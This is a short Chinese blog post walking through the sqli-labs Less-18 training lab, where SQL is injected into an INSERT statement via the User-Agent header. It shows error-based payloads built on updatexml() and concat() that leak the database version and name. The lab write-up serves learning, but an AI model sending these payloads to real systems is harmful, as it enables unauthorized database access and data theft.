sqli-labs的less-18 http头注入中insert语句注入的理解

less-18:

界面是这样的

 
登录成功之后是这样的 
 

 

 

查看了一下源代码

发现两个比较眼熟的函数,其实这种靶场大概意思就是告诉你post传参的uname和passwd的注入都行不通

 

继续往下看:

这里是用到的insert 的注入,跟select语句的注入方式有很大不同

参考博客:https://blog.csdn.net/weixin_41472455/article/details/106113586

因为是http头注入,所以我们是用burp进行抓包然后在repeater重放进行注入,这里要注意的是uname和passwd的值都要是正确的否则是没有办法注入的

之前使用别人的payload也没有实现,去搜了一下,发现要正确的用户名和密码😅无语住啦

User-Agent: 1'

与select语句不太相同的是,这个好像更加注意语句的闭合,后面好像是不用注释掉

User-Agent: 1''

使用两个单引号闭合了,在单引号中间我们就可以进行注入,

必须要使用到的是一个报错函数updatexml()

 

User-Agent: 1' or updatexml(1,version(),0) or '

我这边建议是记住这个语句😅

可以看出这个显示不全

我们使用到concat函数,使用~连接

这也是为什么我们看到的很多payload中有0×7e的原因,如果你不用单引号给它括起来,那就用它的十六进制:

我是觉得直接用单引号括起来方便一点:

User-Agent: 1' or updatexml(1,concat('~',version()),0) or '

数据库名字:

User-Agent: 1' or updatexml(1,concat('~',database()),0) or '

 

posted @ 2022-03-23 20:01  playe  阅读(130)  评论(0编辑  收藏  举报